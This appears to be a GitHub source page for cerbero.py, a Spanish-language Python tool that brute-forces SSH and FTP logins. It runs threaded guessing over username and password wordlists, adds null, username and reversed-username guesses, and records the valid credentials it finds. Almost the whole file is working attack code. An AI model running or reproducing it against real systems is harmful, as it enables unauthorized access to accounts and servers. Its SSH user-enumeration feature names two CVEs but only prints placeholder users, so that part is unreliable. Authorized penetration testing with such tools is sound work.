-
Notifications
You must be signed in to change notification settings - Fork 0
/
cerbero.py
339 lines (297 loc) · 13.4 KB
/
cerbero.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
#!/bin/python3
import paramiko
import argparse
import concurrent.futures
import threading
import signal
import sys
import os
import ftplib
from colorama import Fore, Style, init
# Inicializar colorama
init()
# Logo de la herramienta
def get_logo():
logo = f"""
{Fore.RED} ____ ____ ____ ____ ____ ____{Style.RESET_ALL}
{Fore.RED} / ___)( __)( __)(_ _)( __)(_ _){Style.RESET_ALL}
{Fore.RED} \\___ \\ ) _) ) _) )( ) _) )( {Style.RESET_ALL}
{Fore.RED} (____/(____)(____) (__) (__) (__) {Style.RESET_ALL}
{Fore.YELLOW} Cerbero v1.0{Style.RESET_ALL}
{Fore.YELLOW} By Diseo (@d1se0){Style.RESET_ALL}
"""
return logo
def print_logo():
logo = get_logo()
print(logo)
return logo
class Cerbero:
def __init__(self, target, port, user, user_file, passwd, passwd_file, threads, service, output_file=None, success_continue=False, extra_params=None, enumerate_users=False):
self.target = target
self.port = port
self.user = user
self.user_file = user_file
self.passwd = passwd
self.passwd_file = passwd_file
self.threads = threads
self.service = service
self.output_file = output_file
self.success_continue = success_continue
self.valid_credentials = []
self.lock = threading.Lock()
self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=self.threads)
self.stop_event = threading.Event()
self.extra_params = extra_params if extra_params else []
self.enumerate_users = enumerate_users
def brute_force(self):
if self.service.lower() == "ssh":
if self.enumerate_users:
self.enumerate_users_ssh()
else:
self.brute_force_ssh()
elif self.service.lower() == "ftp":
self.brute_force_ftp()
else:
print(f"{Fore.RED}[-] Servicio no soportado{Style.RESET_ALL}")
def brute_force_ssh(self):
try:
if self.user_file and self.passwd_file:
users = self._read_users()
passwords = self._read_passwords()
for user in users:
if self.stop_event.is_set():
break
self.executor.submit(self._single_user_password_ssh, user, passwords)
elif self.user and self.passwd:
self._single_user_password_ssh(self.user, [self.passwd])
elif self.user_file and self.passwd:
users = self._read_users()
self._single_user_passwords_ssh(users, [self.passwd])
elif self.user and self.passwd_file:
passwords = self._read_passwords()
self._single_user_password_ssh(self.user, passwords)
else:
raise ValueError("Combinación de parámetros no válida.")
self.executor.shutdown(wait=True)
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[+] Saliendo...{Style.RESET_ALL}")
self.stop_event.set()
self.executor.shutdown(wait=False)
sys.exit(0)
def brute_force_ftp(self):
try:
if self.user_file and self.passwd_file:
users = self._read_users()
passwords = self._read_passwords()
for user in users:
if self.stop_event.is_set():
break
self.executor.submit(self._single_user_password_ftp, user, passwords)
elif self.user and self.passwd:
self._single_user_password_ftp(self.user, [self.passwd])
elif self.user_file and self.passwd:
users = self._read_users()
self._single_user_passwords_ftp(users, [self.passwd])
elif self.user and self.passwd_file:
passwords = self._read_passwords()
self._single_user_password_ftp(self.user, passwords)
else:
raise ValueError("Combinación de parámetros no válida.")
self.executor.shutdown(wait=True)
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}[+] Saliendo...{Style.RESET_ALL}")
self.stop_event.set()
self.executor.shutdown(wait=False)
sys.exit(0)
def _single_user_password_ssh(self, user, passwords=None):
if not passwords:
passwords = self._read_passwords()
for password in passwords:
if self.stop_event.is_set():
break
if self.ssh_connect(user, password):
if not self.success_continue:
self.stop_event.set()
break
def _single_user_passwords_ssh(self, users, passwords=None):
if not passwords:
passwords = self._read_passwords()
for user in users:
if self.stop_event.is_set():
break
for password in passwords:
if self.ssh_connect(user, password):
if not self.success_continue:
self.stop_event.set()
break
def _single_user_password_ftp(self, user, passwords=None):
if not passwords:
passwords = self._read_passwords()
for password in passwords:
if self.stop_event.is_set():
break
if self.ftp_connect(user, password):
if not self.success_continue:
self.stop_event.set()
break
def _single_user_passwords_ftp(self, users, passwords=None):
if not passwords:
passwords = self._read_passwords()
for user in users:
if self.stop_event.is_set():
break
for password in passwords:
if self.ftp_connect(user, password):
if not self.success_continue:
self.stop_event.set()
break
def enumerate_users_ssh(self):
# Implementar lógica para enumerar usuarios vulnerables a través de SSH
# Simular la enumeración de usuarios utilizando exploits CVE-2016-6210 y CVE-2018-15473
print(f"{Fore.YELLOW}[+] Enumerando usuarios a través de SSH...{Style.RESET_ALL}")
# Simulación básica para ejemplificar
users = ['user1', 'user2', 'user3']
for user in users:
print(f"{Fore.GREEN}[+] Usuario encontrado: {user}{Style.RESET_ALL}")
# Implementa aquí la lógica real para los exploits CVE-2016-6210 y CVE-2018-15473
# Debes adaptar esto según los requisitos específicos del exploit CVE-2018-15473
pass
def _read_users(self):
if self.user_file and os.path.isfile(self.user_file):
with open(self.user_file, 'r', encoding='utf-8', errors='ignore') as uf:
return uf.read().splitlines()
elif self.user:
return [self.user]
else:
raise FileNotFoundError(f"No se pudo encontrar el archivo de usuarios: {self.user_file}")
def _read_passwords(self):
if self.extra_params:
passwords = []
# Procesar parámetros extra primero
if "n" in self.extra_params:
passwords.append("")
if "s" in self.extra_params:
passwords.append(self.user)
if "r" in self.extra_params:
passwords.append(self.user[::-1])
# Si se han añadido opciones extra, usarlas primero
if passwords:
return passwords
# Si se proporciona un archivo de contraseñas válido, usarlo
if self.passwd_file and os.path.isfile(self.passwd_file):
with open(self.passwd_file, 'r', encoding='utf-8', errors='ignore') as pf:
return pf.read().splitlines()
elif self.passwd:
return [self.passwd]
else:
raise FileNotFoundError(f"No se pudo encontrar el archivo de contraseñas: {self.passwd_file}")
def ssh_connect(self, user, password):
if self.stop_event.is_set():
return False
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print(f"Fuerza Bruta SSH: {user}/{password}: ", end="")
client.connect(self.target, port=self.port, username=user, password=password)
success_message = f"[+] Credenciales válidas encontradas: {user}:{password}"
print(f"{Fore.GREEN}{success_message}{Style.RESET_ALL}")
with self.lock:
self.valid_credentials.append(success_message)
return True
except paramiko.AuthenticationException:
print(f"{Fore.RED}[-] Fallo con: {user}:{password}{Style.RESET_ALL}")
pass
except paramiko.SSHException as ssh_err:
print(f"{Fore.RED}[-] Error SSH: {ssh_err}{Style.RESET_ALL}")
pass
except Exception as e:
print(f"{Fore.RED}[-] Error: {e}{Style.RESET_ALL}")
pass
finally:
client.close()
return False
def ftp_connect(self, user, password):
if self.stop_event.is_set():
return False
try:
print(f"Fuerza Bruta FTP: {user}/{password}: ", end="")
ftp = ftplib.FTP(self.target)
ftp.login(user, password)
ftp.quit()
success_message = f"[+] Credenciales válidas encontradas: {user}:{password}"
print(f"{Fore.GREEN}{success_message}{Style.RESET_ALL}")
with self.lock:
self.valid_credentials.append(success_message)
return True
except ftplib.error_perm as ftp_err:
if "530" in str(ftp_err):
print(f"{Fore.RED}[-] Fallo con: {user}:{password} - 530 Login incorrect.{Style.RESET_ALL}")
else:
print(f"{Fore.RED}[-] Error FTP: {ftp_err}{Style.RESET_ALL}")
except Exception as e:
print(f"{Fore.RED}[-] Error: {e}{Style.RESET_ALL}")
return False
def start(self):
# Imprimir el logo y obtenerlo para escribir en el archivo de salida
logo = print_logo()
# Abrir el archivo de salida si se especificó
if self.output_file:
with open(self.output_file, 'w') as f:
f.write(logo)
f.write("\n\n")
# Ejecutar la fuerza bruta
self.brute_force()
# Guardar los resultados en el archivo de salida si se especificó
if self.output_file:
with open(self.output_file, 'a') as f:
if self.valid_credentials:
f.write("\n\n")
f.write(f"Credenciales válidas encontradas:\n")
for cred in self.valid_credentials:
f.write(f"{cred}\n")
print(f"\n{Fore.GREEN}[+] Resultados guardados en {self.output_file}{Style.RESET_ALL}")
def parse_args():
parser = argparse.ArgumentParser(description="Cerbero - Herramienta de fuerza bruta para SSH y FTP")
parser.add_argument("-H", "--host", required=True, help="Dirección IP del host de destino")
parser.add_argument("-s", "--service", required=True, choices=["ssh", "ftp"], help="Servicio a atacar (ssh o ftp)")
parser.add_argument("-U", "--user-file", help="Archivo con lista de usuarios")
parser.add_argument("-P", "--passwd-file", help="Archivo con lista de contraseñas")
parser.add_argument("-u", "--user", help="Usuario único")
parser.add_argument("-p", "--passwd", help="Contraseña única")
parser.add_argument("-t", "--threads", type=int, default=5, help="Número de hilos (por defecto: 5)")
parser.add_argument("-o", "--output-file", help="Guardar resultados en un archivo")
parser.add_argument("-c", "--success-continue", action="store_true", help="Continuar con éxito")
parser.add_argument("-e", "--extra-params", choices=["n", "s", "r"], nargs="+", help="Parámetros extra: n (null password), s (username as password), r (reversed username as password)")
parser.add_argument("-en", "--enumerate-users", action="store_true", help="Enumerar usuarios usando exploits de versiones vulnerables de SSH")
args = parser.parse_args()
if args.extra_params:
if "n" in args.extra_params:
print("Se intentarán contraseñas nulas.")
if "s" in args.extra_params:
print("Se utilizará el nombre de usuario como contraseña.")
if "r" in args.extra_params:
print("Se invertirá el nombre de usuario y se utilizará como contraseña.")
if args.enumerate_users and not (args.user or args.user_file):
parser.error("Se requiere especificar al menos -u/--user o -U/--user-file para enumerar usuarios.")
if (args.user and args.user_file) or (args.passwd and args.passwd_file):
parser.error("Los argumentos -u/--user y -p/--passwd deben ser una palabra única y no un archivo cuando se usan.")
return args
def main():
args = parse_args()
cerbero = Cerbero(
target=args.host,
port=22 if args.service.lower() == "ssh" else 21,
user=args.user,
user_file=args.user_file,
passwd=args.passwd,
passwd_file=args.passwd_file,
threads=args.threads,
service=args.service,
output_file=args.output_file,
success_continue=args.success_continue,
extra_params=args.extra_params,
enumerate_users=args.enumerate_users
)
cerbero.start()
if __name__ == "__main__":
main()